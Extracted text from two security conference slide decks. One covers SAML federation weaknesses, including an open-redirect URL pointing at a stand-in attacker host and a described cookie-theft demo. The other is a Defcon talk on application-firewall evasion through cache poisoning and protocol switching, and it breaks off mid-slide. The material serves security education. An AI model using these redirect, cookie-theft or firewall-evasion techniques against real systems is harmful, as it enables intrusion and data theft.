you need to know How does it work? 3 Authenticates to IdP (either through Kerberos or Username/Password) E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How does it work? 4 Redirected (through HTTP POST) back to web application, including security token E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How does it work? 5 Happy User − no passwords to remember + Happy Administrator/Developer − much easier to manage E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know So what? In addition to SSO, also supports: Federation − the sharing of identity between domains (MDSSO) Delegation − maintenance of identity to backend services Distribution of Directory information to other applications, which gives us: ABAC (Attribute Based Access Control) = RBAC+ Support for Federation ⇒ SAML suitable for the cloud Become ubiquitous E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know WS-Federation [6] Approved OASIS specification Defines mechanisms to allow different security realms to federate authorized access to resources managed in one realm can be provided to principals whose identities and attributes are managed in other realms Includes mechanisms for brokering of identity, attribute, authentication and authorization assertions between realms Chapt 16: Security Considerations Last bullet: compromised services E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know Federation E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know Brokered Federation model Trust through a central Broker, establishes trust between many IdPs But: How is the trust established? Do we trust all of them? How are standards to be maintained? E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know Multiple Identity Providers User establishes account with many IdPs Each IdP for different function e.g. Bank Government Reputation management established Identity managers E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know SAML security seminal papers On standards Security Analysis of the SAML Single Sign-on Browser/Artifact Profile [7] SSTC Response to Security Analysis of the SAML Single Sign-on Browser/Artifact Profile: [8] Security and Privacy Considerations for the OASIS Security Assertion Markup Language (SAML) V2.0 [9] On implementations issues Armando & Al - Breaking the SAML-based Single Sign-On for Google Apps [10] B. Hill - Attacking XML Security - Black Hat US 2007 [3] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know OASIS SAML V2.0 Technical Overview (draft 3 and 10) [sic] [11] SAML use case No.1: ”Limitations of Browser cookies” [12] Driver of SAML adoption No.1: ”Multi Domain SSO ... However, since browser cookies are never transmitted between DNS domains, ... SAML solves the MDSSO problem.” True issue, legitimate will but... Can also be read as: ”SOP sucks, let’s build a workaround!” Great potential for security issues Is it a fail or not? E.g. Can a bad guy steal cookies? Be patient ;-) E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know OASIS SAML V2.0 Technical Overview (draft 3 and 10) [sic] [11] SAML use case No.1: ”Limitations of Browser cookies” [12] Driver of SAML adoption No.1: ”Multi Domain SSO ... However, since browser cookies are never transmitted between DNS domains, ... SAML solves the MDSSO problem.” True issue, legitimate will but... Can also be read as: ”SOP sucks, let’s build a workaround!” Great potential for security issues Is it a fail or not? E.g. Can a bad guy steal cookies? Be patient ;-) E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know Implementations security The Good, e.g: Token encryption Replay attacks usually addressed by default The Bad, e.g: Unsigned LogOut Request accepted TargetAudience attribute not verified The Ugly, e.g: Open redirection vulnerability Cookie stealing E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know Implementations security The Good, e.g: Token encryption Replay attacks usually addressed by default The Bad, e.g: Unsigned LogOut Request accepted TargetAudience attribute not verified The Ugly, e.g: Open redirection vulnerability Cookie stealing E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know Implementations security The Good, e.g: Token encryption Replay attacks usually addressed by default The Bad, e.g: Unsigned LogOut Request accepted TargetAudience attribute not verified The Ugly, e.g: Open redirection vulnerability Cookie stealing E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Outline 1 Prelude to Federation Introduction 2 Forward the Federation Where we come from 3 Federation What you need to know 4 Federation and Empire Sharpen your weapons 5 Federation’s Edge Design assessment 6 Federation and (down to) Earth Conclusion E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Tools Tool set usually made of a combination of Pro/Community edition of Commercial tools FOSS [13] Custom scripts Methodology Procedures (+/-) formal (generic or custom) Generally accepted best practices [14][15] Habits, personal preferences [16] Still many manual, ad-hoc, improvised steps E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Adapt your toolset ”Don’t be a tool” [20][21] but... Properly using the right tools often makes the difference Time constraint Two reasons Allow ”traditional” assessment of Web apps and services protected by SAML tokens Configurations of such architectures is crucial yet complex error prone need tools to assess good configuration settings are effective E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Exiting SAML oriented helpers UNINETT beta SAML tracer [17] Firefox Plugin Tool for viewing SAML messages sent during single sign-on and single logout Feide RnD SAML 2.0 Debugger [18] Online application to encode/decode SAML message Federation Lab beta (G´EANT3 Identity Federations) [19] Online automated checks on SP implementation Manual approach Burp decoder (truncated) Python, ruby saml = Zlib::Inflate.new(-Zlib::MAX_WBITS).inflate(B... encoded = CGI::escape(Base64::encode64(Zlib::Deflate... E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Fed Lab Service Provider test Against an out of the box ”Hello world” SP SimpleSAMLphp based E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Fed Lab Service Provider test Against an out of the box ”Hello world” SP SimpleSAMLphp based E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Decoding / encoding [22] ”Things humans aren’t good at” Decoding / encoding on the fly Gain of automation Easy semantic understanding Allows relevant request mangling Changes scanner from dumb to smart fuzzer Thwarts anti-replay safeguards (e.g. unique random nonce) Updates timestamps (long scans can unfold) E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Pre & Post processing Same approach as [23] for WCF Binary SOAP Proxy chaining Preprocessing (decoding requests / encoding responses) Scanning (Fuzz, mangle, do stuff...) Postprocessing (encoding requests / decoding responses) E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Illustration with Burp Pro Suite Burp Pro Suite [24] Extender Java API to extend Burp Suite functionalities Particularly suitable for Pre & Post processing Bindings for Python and Ruby (Buby [25]) Buby Ruby based framework to extend Burp Suite Tutorial: [26] Hook either evt proxy message or evt http message POC Buby modules and sample code at http://code.google.com/p/buby-saml buby -r SAML_preprocessing -e ReqTamperer buby -r SAML_postprocessing -e ReqTamperer E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Preprocessing proxy - Original request E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Preprocessing proxy - Edited request E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Central Burp instance - Intruder E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Postprocessing proxy - Original request E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Postprocessing proxy - Edited request E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Example of vulnerabilities Open redirection [27] ≃ http://www.vulnerable.com/?redirect=http://www.attacker.com Not critical Built in the standards? Cookie theft Works even if the victim has not chosen the ”Remember” option Demo: Make the SP leaking idpdisco saml lastidp cookie, even if cookie idpdisco saml remember = 0 If you visit his site, a bad guy can inconspicuously discover your IdP = what is your originating organization E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Demo: SimpleSAMLPHP open redirect When an open redirect leads to cookie theft Leveraging an existing live, open to everyone test environment Feide [28]: Norwegian academic Federation on a dummy account home realm cookie= https://openidp.feide.no E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Demo: SimpleSAMLPHP open redirect When an open redirect leads to cookie theft 1 Victim accesses evil site 2 Contains a crafted get request to the SP 3 Evil site gets the cookie back thanks to the Open Redirection (Google search request for illustration) E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Back to the OASIS standard Identity Provider Discovery Service Protocol and Profile [29] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Identity Provider Discovery Service Protocol and Profile [29] [sic] ”This protocol has the potential for creating additional opportunities for phishing...” Proposed workaround: use of SP metadata ”To mitigate this threat, metadata can be used to limit the sites authorized to use a discovery service” ”A discovery service SHOULD require that the service providers making use of it supply metadata” Developers don’t have to implement it to be compliant [30] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Sharpen your weapons Identity Provider Discovery Service Protocol and Profile [29] [sic] ”This protocol has the potential for creating additional opportunities for phishing...” Proposed workaround: use of SP metadata ”To mitigate this threat, metadata can be used to limit the sites authorized to use a discovery service” ”A discovery service SHOULD require that the service providers making use of it supply metadata” Developers don’t have to implement it to be compliant [30] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment Outline 1 Prelude to Federation Introduction 2 Forward the Federation Where we come from 3 Federation What you need to know 4 Federation and Empire Sharpen your weapons 5 Federation’s Edge Design assessment 6 Federation and (down to) Earth Conclusion E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment Deployment and trust topologies Typical situations E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment New risks? Previous boundaries become more and more notional Network flows Attack surface Management interface Users community Insider? Data flows Cost/Benefit not doing it? Security policies coherency / comparison / enforcement E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment Similar flows orchestrated in federated environment simple federation scenario [6] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment Similar flows orchestrated in federated environment E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment What if OrgC signs a claim for [email protected]? E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment Considerations on deployment architectures Trust topology Previous example follows a direct trust topology [6] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment Considerations on deployment architectures Trust topology More complex exist including indirect trust topology [6] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment Considerations on deployment architectures Trust topology More complex exist including indirect trust topology E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment What if OrgC signs a claim for [email protected]? SAML claims laundering E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment SAML claims laundering If STS D signs the token, STS B has no way to see the trick OrgB fully relies on OrgD to properly check SAML claims Policy? Verification? Is auditing permitted? Regular security checks presented? How to prove other parties compliance with relevant requirements? Questions usually unasked and even less answered: What about a malicious/compromised IdP in the federation? Can a malicious IdP impersonate another domain users? Are there safeguards in place? Do I own or delegate these safeguards? What about a malicious/compromised SP in the federation? E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment SAML claims laundering If STS D signs the token, STS B has no way to see the trick OrgB fully relies on OrgD to properly check SAML claims Policy? Verification? Is auditing permitted? Regular security checks presented? How to prove other parties compliance with relevant requirements? Questions usually unasked and even less answered: What about a malicious/compromised IdP in the federation? Can a malicious IdP impersonate another domain users? Are there safeguards in place? Do I own or delegate these safeguards? What about a malicious/compromised SP in the federation? E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment SAML claims laundering WS-Federation [6] Situation tersely considered in the specification Chapt 16 : Security considerations Compromised services: ”This is of special concern in scenarios like the 3rd party brokered trust where a 3rd party IP/STS is brokering trust between two realms.” In practice, by default it works No proposed solution on how to prevent that In the case of 3rd party brokered trust, how to control the loss of control Whose liability Other parties obligation (accountability) E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Design assessment SAML claims laundering All relies on checks made at each relay level This MUST be done since default settings are permissive Key attributes must be kept or added to avoid turning the situation into blind trust and single point of security failure On main federations, this policy is not publicly disclosed, so how to make an educated choice? E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Conclusion Outline 1 Prelude to Federation Introduction 2 Forward the Federation Where we come from 3 Federation What you need to know 4 Federation and Empire Sharpen your weapons 5 Federation’s Edge Design assessment 6 Federation and (down to) Earth Conclusion E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Conclusion Conclusion Take-aways Knowledge and tool to keep on powning SAML protected Web app Proven assumption: Standards can be read as an attempt to circumvent SOP Process and tools to get there Important design security considerations Without taking care, ”Insecurity by design” is more than likely E.g. Cross domain SSO with AD trust relationships A compromised domain cannot impersonate other domains users With SAML based cross domain SSO, by default, it will E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Conclusion Conclusion This applies to other forms of federation Developers, marketers ahead of security guys Yet default settings are not secure The ”make it working” approach might lead to insecure deployment Need to catch up to avoid big deployment security failure (with probably thorny legal issues) Get acquainted with protocols to properly assess designs and deployments Adapt our tool set because bad guys will Better guidance or improved standards? E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Conclusion Thanks for your attention Acknowledgment Isaac Asimov Rui Fiske for his great help and extensive knowledge on SAML Q & possibly A Buby modules and sample code at http://code.google.com/p/buby-saml [email protected] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Conclusion References I [1] K. Cameron - The Laws of Identity - http: //www.identityblog.com/stories/2005/05/13/TheLawsOfIdentity.pdf [2] Anonymity Support for Kerberos - draft-ietf-krb-wg-anon-04 - Kerberos extension [3] B. Hill - Attacking XML Security - Black Hat Briefings USA 2007 - http://www. isecpartners.com/files/iSEC_HILL_AttackingXMLSecurity_bh07.pdf [4] OASIS - SAML XML.org - http://saml.xml.org/ [5] D. Hardt - Identity 2.0 - OSCON 2005 Keynote - http://identity20.com/media/OSCON2005/ [6] Web Services Federation Language (WS-Federation) Version 1.2 - OASIS - http://docs.oasis-open.org/wsfed/federation/v1.2/ws-federation.pdf [7] T. Groß- IBM Zurich Research Laboratory - Security Analysis of the SAML Single Sign-on Browser/Artifact Profile [8] OASIS - SSTC Response to :Security Analysis of the SAML Single Sign-on Browser/Artifact Profile - Working Draft 01, 24 January 2005 E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Conclusion References II [9] OASIS - Security and Privacy Considerations for the OASIS Security Assertion Markup Language (SAML) V2.0 - OASIS Standard, 15 March 2005 [10] Armando and Al - Breaking the SAML-based Single Sign-On for Google Apps - http://www.ai-lab.it/armando/GoogleSSOVulnerability.html [11] Security Assertion Markup Language (SAML) 2.0 Technical Overview (draft 3) - OASIS - http://www.oasis-open.org/committees/download.php/11511/ sstc-saml-tech-overview-2.0-draft-03.pdf [12] Security Assertion Markup Language (SAML) 2.0 Technical Overview (draft 10) - OASIS - http://www.oasis-open.org/committees/download.php/20645/ sstc-saml-tech-overview-2%200-draft-10.pdf [13] Myth Breaker - The Best Open Source Web Application Vulnerability Scanner - http://sectooladdict.blogspot.com/2011/01/ myth-breaker-best-open-source-web.html [14] OSSTMM - Open Source Security Testing Methodology Manual - http://www.isecom.org/osstmm/ E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Conclusion References III [15] OWASP Testing Project - https://www.owasp.org/index.php/OWASP_Testing_Project [16] Web Application Scanner Benchmark (v1.0) http://sectooladdict.blogspot. com/2010/12/web-application-scanner-benchmark.html [17] UNINETT releases public beta of SAML tracer - https://addons.mozilla.org/en-US/firefox/addon/saml-tracer/ [18] Feide RnD SAML 2.0 Debugger - https://rnd.feide.no/software/saml_2_0_debugger/ [19] Federation Lab beta - https://fed-lab.org/ [20] J. Haddix, J. Parish - Bsides Chicago 2011 - http: //www.securityaegis.com/wp-content/uploads/2011/04/bsides_final.ppt [21] Pentest John - http://www.securityaegis.com/pentest-john-memes [22] J. Haddix, J. Parish - ToorCon 12 - http://www.securityaegis.com/burp_preso.pdf E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Conclusion References IV [23] WCF Binary Soap Plug-In for Burp - Gotham Digital Science - http://www. gdssecurity.com/l/b/2009/11/19/wcf-binary-soap-plug-in-for-burp/ [24] Burp Suite - http://portswigger.net [25] Buby’s homepage - http://emonti.github.com/buby [26] Buby tutorial - K. Johnson - http://carnal0wnage.attackresearch.com/ 2011/05/buby-script-basics-part-1.html [27] OWASP Open Redirect - https://www.owasp.org/index.php/Open_redirect [28] Feide - http://www.feide.no [29] Identity Provider Discovery Service Protocol and Profile - OASIS - http://docs. oasis-open.org/security/saml/Post2.0/sstc-saml-idp-discovery.pdf [30] Support metadata DiscoveryResponse for discovery service - SimpleSAMLphp issue 363 - http://code.google.com/p/simplesamlphp/issues/detail?id=363 E. Bouillon Federation & Empire
pdf
1 Copyright © 2011 Juniper Networks, Inc. www.juniper.net AppSecure Brad Woodberg, Juniper Networks [email protected] twitter: @bradmatic517 Defcon 2011 Network Application Firewalls: Exploits and Defense 2 Copyright © 2011 Juniper Networks, Inc. www.juniper.net AGENDA Discussion  Beyond Layer 4 – App-FW Explained  Can Do / Can’t Do, Vulnerabilities and Limitations  Exploitation in Action  Getting it Right Key Issues  Application Firewalling does not replace traditional security mechanisms like stateful firewall and full IPS  Application Firewalling has limitations even when properly implemented, there are also a number of potential network pitfalls.  How to properly deploy this technology in conjunction with traditional security mechanisms. 3 Copyright © 2011 Juniper Networks, Inc. www.juniper.net HTTP/1.1 200 OK Content-Type: text/html Server: Apache Date: Wed, 09 Feb 2011 Cache-Control, private <malicious javascript, aurora exploit, shellcode> EVOLUTION Client: 1.1.1.1 Server: 2.2.2.2 Src-IP: 2.2.2.2, Dest-IP: 1.1.1,1, Src-Port 80, Dest-Port 2481, Protocol TCP, (SYN/ACK) Src-IP: 2.2.2.2, Dest-IP: 1.1.1,1, Src-Port 80, Dest-Port 2481, Protocol TCP, (ACK) Stateful Firewall Application Firewall Full IPS GET /index.html HTTP /1.0 Host: www.google.com User-Agent: Mozilla/5.0 Accept: text/html Accept-Language: en-us Accept-Encoding Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1 Keep-Alive: 115 Connections: keep-alive Access List 4 Copyright © 2011 Juniper Networks, Inc. www.juniper.net WHAT’S NEW? 1. Application Identification (AppID) goes beyond traditional stateful firewalls by inspecting some Layer 7 payload to identify the application. 2. AppID does not inspect the entire session like full IPS, and only identifies the application, not other activity like exploits. 3. AppID has actually be around for a long time in numerous technologies, but was not typically a user controlled feature. 5 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPID PATTERN MATCHING 1. FW Check 2. Preprocessing: Serialize, Order, Reassemble 3. Pattern Match Finite State Machines DFA, NFA, Hybrids *Source: http://en.wikipedia.org/wiki/String_searching_algorithm String Matching Algorithms Boyer-Moore Aho-Corasick (Hybrid) Rabin-Karp Hardware, other algorithms Many other solutions exist… 6 Copyright © 2011 Juniper Networks, Inc. www.juniper.net NESTED APPLICATIONS Layer 1: Cat 5, Fiber, Wifi Layer 2: Ethernet Layer 3: IPv4, IPv6 Layer 4: TCP, UDP Layer 7: HTTP Layer 7: Nested Application Pandora Streaming Audio Facebook Application 7 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION ID SIGNATURE EXAMPLES application FTP: client-to-server: dfa-pattern "\[(USER|STAT|PORT|CHMOD|ACCOUNT|BY E|ASCII|GLOB|HELP|AUTH|SYST|QUIT|STOR |PASV|CWD|PWD|MDTM).*"; etc etc etc server-to-client: dfa-pattern "(220|230|331|530).*"; etc etc etc nested-application Facebook:Application parent-protocol HTTP; member m01 context http-header-host; pattern "(.*\.)?(facebook\.com|fbcdn\.net)"; etc etc etc direction client-to-server; member m02 context HTTP URL pattern "/ap\.php\?i=.*|.*"; etc etc etc direction client-to-server; Layer 7 Application ID Example Layer 7 Nested Application ID Example *Note many implementations use Closed Source AppID signatures 8 Copyright © 2011 Juniper Networks, Inc. www.juniper.net FEATURES THAT RELY ON APPLICATION ID 1. Layer 7 services may rely on the results of AppID to determine if they are interested in the session, so tricking Application ID can have impacts on whether these services are used or not. IPS Anti-Virus Anti-Spam URL Filtering Application Firewall DLP QoS APP ID Session = HTTP Src-IP: 1.1.1.1 Dst-IP: 2.2.2.2 Dst-Port: 80 Src-Port: 41932 Protocol: TCP 9 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION CACHING 1. Application ID is Expensive 2. Results typically the same for IP/Protocol/Port 3. Improved Performance Sample Application Cache Table 10 Copyright © 2011 Juniper Networks, Inc. www.juniper.net \(PRE\)PROCESSING “I say we take off and nuke the site from orbit. It's the only way to be sure” ~Ripley 11 Copyright © 2011 Juniper Networks, Inc. www.juniper.net Egon: There's something very important I forgot to tell you. Venkman: What? Egon: “Don't cross the streams.” SAID WORDS ARE TRUE 12 Copyright © 2011 Juniper Networks, Inc. www.juniper.net PREPROCESSING: FRAGMENTATION / SEGMENTATION 1. Like IPS, Application Firewall must serialize, order, and reassemble packets/application data before trying to do pattern matching. 2. E.g. Matching pattern “HTTP” in a GET request “GET /index.html HTTP/1.0” GET /index.html HTTP/1.0 one packet, (no reassembly required) GET HT /index.html TP/1.0 IP Packet 1 IP Packet 2 IP Packet 3 IP Packet 4 Multiple IP Fragments, must reassemble before we can do pattern matching, or we will not detect string “HTTP” in any individual packet GET /index.html HTTP/1.0 13 Copyright © 2011 Juniper Networks, Inc. www.juniper.net PREPROCESSING: ORDERING 1. We must properly order packets/segments before performing pattern matching 2. E.g. Matching pattern “HTTP” in a GET request “GET /index.html HTTP/1.0” GET HT /index.html TP/1.0 IP Packet 1 IP Packet 2 IP Packet 3 IP Packet 4 Multiple IP Fragments/Segments, must reassemble before we can do pattern matching, or we will not detect string “HTTP” in any individual packet GET /index.html HTTP/1.0 Multiple packets/segments, out of order Reassembled, we can match the pattern properly now 14 Copyright © 2011 Juniper Networks, Inc. www.juniper.net PREPROCESSING: PROPER REASSEMBLY 1. What if attacker sends two fragements/segments with a different payload? 2. E.g. Matching pattern “HTTP” in a GET request “GET /index.html HTTP/1.0” GET HTTP /index.html /1.0 Segment 1 Segment 2 Segment 4 SIP (denied segment 3) (permitted segment 3) 15 Copyright © 2011 Juniper Networks, Inc. www.juniper.net NETWORK APPLICATION IDENTIFICATION Ripley: How many drops is this for you, Lieutenant? Gorman: Thirty eight... simulated. Vasquez: How many *combat* drops? Gorman: Uh, two. Including this one. 16 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION IDENTIFICATION 1/3 1. Must Pass Some Traffic (Bi-directionally) before Application can be identified 2. In this example, TCP 3-way handshake completed, but no L7 payload has been sent so application has not be identified. 17 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION IDENTIFICATION 2/3 1. Actual detection must occur on payload, here HTTP has been identified after Layer 7 exchange. 18 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION IDENTIFICATION 3/3 1. Application Firewalling itself doesn’t inspect beyond the application ID, so it doesn’t stop attacks. 19 Copyright © 2011 Juniper Networks, Inc. www.juniper.net LIMITATIONS, VULNERABILITIES, EXPLOITATION Hudson: Movement. Signal's clean. Range, 20 meters. Ripley: They've found a way in, something we've missed. Hicks: We didn't miss anything. Hudson: 17 meters. Ripley: Something under the floor, not in the plans, I don't know. Hudson: 15 meters. Newt: Ripley!!! Hicks: Definitely inside the barricades. Newt: Let's go. Hudson: 12 meters. Ripley: That's right outside the door. Hicks, Vasquez get back. Hudson: Man, this is a big f#$*kin' signal. Hicks: How are we doing Vasquez, talk to me? Vasquez: Almost there. Vasquez: There right on us. Hicks: Remember, short controlled bursts. Hudson: 9 meters. 7. 6. Ripley: That can't be; that's inside the room! 20 Copyright © 2011 Juniper Networks, Inc. www.juniper.net CLIENT / SERVER COLLUSION 1. Start connection as a permitted application, after Application Firewall is done, switch it to another! 21 Copyright © 2011 Juniper Networks, Inc. www.juniper.net IMPORTANCE OF BIDIRECTIONAL INSPECTION 1. May not inspect both Client to Server and Server to Client: Poisoned Results 22 Copyright © 2011 Juniper Networks, Inc. www.juniper.net REVERSING PROTOCOL TRAFFIC 1. Application Firewall may not differentiate the Client and the Server directions, this can be used to trick AppFW and other Layer 7 services. 2. What happens if you switch the client to server and server to client traffic, do you an improper match? 3. For this AppFW, no, but perhaps others? 23 Copyright © 2011 Juniper Networks, Inc. www.juniper.net PORT BASED DETECTION? 1. Perhaps not all detection is actually based on actual application identification, some may only inspect on certain ports, or may just deem a certain port an application without an AppID match. DNS Traffic on Port 53 Exact same traffic on any other port 24 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION CACHE POISONING 1/6 1. Example, simple policy, block SMTP on any port, allow anything else 25 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION CACHE POISONING 2/6 1. We try sending SMTP over port 80, it get’s blocked as expected (Server-to-Client) 220 smtp.example.com ESMTP Postfix 26 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION CACHE POISONING 3/6 1. Let’s poison the cache with HTTP first (with several connections for good measure) then try the same test. 2. Application 109 stands for HTTP, we sent 20 separate HTTP connections to 192.168.2.13 on port 80 27 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION CACHE POISONING 4/6 1. Now send SMTP traffic in a new connection, same port / protocol / server, it’s permitted! 28 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION CACHE POISONING 5/6 1. Cache Hit! 29 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION CACHE POISONING 6/6 1. All new connections are detected as HTTP, yes I was working on this at 5am. 30 Copyright © 2011 Juniper Networks, Inc. www.juniper.net CACHING NESTED APPLICATIONS 1. This is a bad idea. 2. While we’d like the performance gains, multiple applications can be hosted on the same host/protocol/port both maliciously and legitimately. 3. Attackers can use this even more easily than port based application cache attacks. 4. Doesn’t require client and server collusion to work, . Instead, we should perform AppID on all nested applications or just block the access to that server / protocol / port altogether. 31 Copyright © 2011 Juniper Networks, Inc. www.juniper.net CONFLICT RESOLUTION 1. What happens if a traffic stream has characteristics of two or more applications, how to best select the application. 2. Difficult problem to solve, some applications look very similar especially at first. (e.g. SMTP + FTP) 3. Evasive applications and malicious attackers may try to compromise accurate detection. 4. Can try to exploit this to determine effectiveness of application firewalls for example: 1. HTTP might look for patterns like “GET|POST|HTTP” 2. SIP might look for patterns like “Request|Register|Status” 3. What if custom protocol leveraged both, would the application firewall detect it as HTTP, SIP, or unknown? e.g. “GET /Request Register 1.1” 32 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPLICATION LAYER GATEWAYS W/APPLICATION FW 1. Application Layer Gateways (ALG) inspect control channels of certain protocols like FTP/MSRPC/SUNRPC/RTSP/SIP &c to open additional pinhole sessions for auxillary data channels (amongst other tasks). 2. Impacts of ALG’s on Application Firewalls will vary based on implementation and protocols. 3. Some data channels cannot be accurately inspected with Application Identification because they are pure byte streams (e.g. FTP data), encrypted/compressed (RTP), or transient in nature. 33 Copyright © 2011 Juniper Networks, Inc. www.juniper.net UNKNOWN APPLICATION PROTOCOLS 1/4 1. What happens when Application ID can’t identify an application? 2. Some implementations don’t inspect traffic at layer 7 at all when the Application can’t be identified (not even stream or packet attacks!) Step 1, open session 34 Copyright © 2011 Juniper Networks, Inc. www.juniper.net UNKNOWN 